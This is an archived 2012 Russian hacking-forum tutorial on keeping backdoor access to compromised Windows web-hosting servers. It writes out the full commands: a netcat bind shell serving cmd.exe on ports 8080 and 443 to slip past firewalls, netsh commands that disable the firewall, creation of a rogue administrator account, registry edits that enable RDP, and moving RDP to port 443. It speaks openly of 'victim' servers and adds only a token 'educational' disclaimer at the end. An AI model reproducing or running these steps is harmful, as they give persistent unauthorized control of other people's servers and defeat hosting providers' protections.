1. Вы находитесь в архивной версии форума xaker.name. Здесь собраны темы с 2007 по 2012 год, большинство инструкций и мануалов уже неактуальны.
    Скрыть объявление

Исследование Windows-бэкдоров – обход файрвола поставщиков веб-хостинга

Тема в разделе "Статьи на хакерскую тематику", создана пользователем Jason Bourne, 21 май 2012.

  1. Jason Bourne

    Jason Bourne [email protected]:~# Модератор

    Регистрация:
    28 ноя 2009
    Сообщения:
    0
    Симпатии:
    96
    Баллы:
    0
    [​IMG]

    Ключевой задачей данного документа является обсуждение бэкдоров на хостинговых Windows-серверах и обход файрволов.

    Lulzsec47 ​


    Последнее время хакеры ищут способы оставить бэкдор на Windows-сервере, хозяином которого является какой-нибудь из лучших хостинг-провайдеров. На эту тему было сделано много исследований. Однако, ключевой задачей данного документа является обсуждение бэкдоров на хостинговых Windows-серверах и обход файрволов.

    Обычно, когда мы находим уязвимость на веб-сервере для Windows, мы пытаемся загрузить на него asp/java-шелл. После загрузки мы гуляем по папкам и файлам веб-сервера, но чаще всего пытаемся оставить на нем бэкдор, чтобы мы могли соединяться с ним когда пожелаем без боли в небезызвестном месте. Для этого нам нужен доступ к командам. Для доступа к командам нам нужно создать бэкдор, при соединении с которым будет выдаваться командная оболочка. Для создания такого бэкдора существует несколько способов.

    Получив asp-шелл на Windows-сервере с IIS 6/IIS 5, мы пытаемся создать на нем бэкдор, однако из-за наличия файрвола наша попытка часто терпит неудачу. Вообще, при наличии файрвола довольно сложно соединиться с сервером или осуществлять над ним удаленный контроль.

    Для создания бэкдоров на Windows-серверах существует несколько способов. Сначала я покажу вам, как сделать бэкдор с помощью net cat. Загрузите netcat на удаленный компьютер и откройте для прослушивания порт, например:

    Код:
     C:\>nc –l –p 8080   
          [на 192.168.9.2] 
    Здесь мы открыли порт 8080. Далее мы соединимся с 192.168.9.2 через удаленную систему. Для этого нам нужно установить netcat на 192.168.9.2 и запустить интерпретатор команд cmd. Вот команда, которую нужно выполнить на 192.168.9.2:

    Код:
     C:\>nc –l –p 8080 –e cmd.exe   
    После запуска этой команды хост с IP-адресом 192.168.9.2 начинает прослушивать порт, пытаясь запустить cmd.

    Предположим, что мы пытаемся соединиться с 192.168.9.2, находясь на машине с адресом 192.168.9.7 Откроем telnet на 192.168.9.7 и соединимся с 192.168.9.2 через порт 8080, выполнив вледующую команду:

    Код:
     C:\>telnet 192.168.9.2 8080  
    Другой вариант – использовать для соединения putty. Просто вбейте в настройки адрес 192.168.9.2 и порт 8080

    Соединившись, вы получите командную оболочку и сможете установить бэкдор-соединение с данным сервером.

    Получив доступ к командной оболочке вы, если нужно, можете выключить файрвол следующей командой:

    Код:
      C:\>netsh firewall set opmode disable  
    Или так:

    Код:
    C:\Windows\System32\netsh.exe "firewall set opmode = DISABLE profile = ALL"
    Существует также масса других опций. Просто идите в командную строку и введите netsh help, чтобы увидеть все, что вы можете сделать с помощью netsh. Если ваш компьютер является членом домена, вы должны использовать данную команду, чтобы выключить режим домена и локальный режим:

    Код:
    netsh firewall set opmode mode = DISABLE profile = ALL
    Теперь, если вы хотите установить удаленное соединение через RDP, но служба удаленного рабочего стола отключена, вы можете включить ее описываемым далее способом.

    Если вы хотите создать нового пользователя на сервере с правами администратора, воспользуйтесь следующими командами.

    Код:
      net user newuser1 newpassword /add 
    net localgroup administrators newuser1 /add 
    net user newuser1 
    Если после создания нового пользователя вы захотите осуществлять удаленное подключение к серверу жертвы, вам понадобится включить на сервере RDP.

    Для включения возможности RDP-соединений наберите в командной строке следующую команду:

    Код:
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    Когда вы включите службу RDP, вы можете устанавливать удаленное подключение к серверу жертвы по протоколу RDP. Но в реальных условиях оказывается, что большинство поставщиков веб-хостинга блокируют RDP-соединения, то есть блокируют входящий трафик на порту 3389. Правила файрвола в этом случае выглядят так:

    Код:
      Allow traffic on 80, 443 
    Deny all * exception on 80 and 443*  
    Так что, когда мы попытаемся установить RDP-соединение из внешней сети, у нас ничего не получится.

    Существует несколько методов, которые позволяют обмануть файрвол путем запуска netcat на порту 443 или любом другом открытом порту сервера. Нам нужно запустить netcat на 443 порту лишь потому, что файрвол пропускает трафик на нем. Итак, нам нужно соединиться с портом 443, поскольку трафик на данном порту разрешен (например, https-трафик).

    [​IMG]

    Чтобы обойти файрвол, нам нужно открыть порт 443 для прослушивания. Вот соответствующая команда:

    Код:
      C:\>nc –l –p 443 –e cmd.exe
    Когда мы соединимся с жертвой на порту 443 через telnet, мы получим командную оболочку, которую файрвол не будет блокировать из-за того, что трафик идет через 443 порт.

    Вывод: чтобы попытаться сделать бэкдор, мы можем использовать порты 80 и 443, где можно обойти файрвол и безопасно соединиться с сервером.

    Данный снимок экрана показывает, что мы соединяемся с 192.168.9.2 на порту 443 через telnet.

    [​IMG]

    После соединения с 192.168.9.2 на порту 443, мы получаем в наше распоряжение командную строку cmd.

    [​IMG]

    Раз соединение было установлено, значит, мы обошли файрвол.

    Когда нам нужно установить RDP-соединение, все выглядит аналогично. По умолчанию RDP запущен на порту 3389, поэтому нам нужно заставить его слушать порт 443 или любой другой, который не блокируется файрволом. Если вы хотите изменить прослушиваемый порт, отредактируйте этот ключ реестра:

    Код:
    \HKLM\System\CurrentControlSet\Control\Terminal Server\WinStationRDP-TCP   
     Value : PortNUmber REG_DWORD=443
    Чтобы включить Терминальный сервер/RDP, запустите следующую команду:

    Код:
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
    После выполнения даных действий вы сможете подключаться к удаленному компьютеру через стандартное "Подключение к удаленному рабочему столу", введя IP-адрес или доменное имя, за которыми следует двоеточие и номер порта (443 в нашем случае). Файрвол не будет блокировать RDP-соединение, установленное на 443 порту. Тем самым вы обойдете файрвол и сделаете попытку создания бэкдора.

    [​IMG]

    Вывод: вы можете создать бэкдор для Windows-сервера на портах 80 и 443, на которых firewall не фильтрует трафик (поскольку разрешает http- и https-трафик). Вы также можете создавать RDP-соединение на порту 443. То есть, порт 3389 не обязательно должен быть открыт, а RDP-соединение может обходить файрвол, когда 3389 порт блокируется для внешних соединений.

    Настоящий документ создан для учебных целей и на основании моих личных знаний. Не предпринимайте никаких незаконных действий в отношении хостинг-провайдеров.

     

Поделиться этой страницей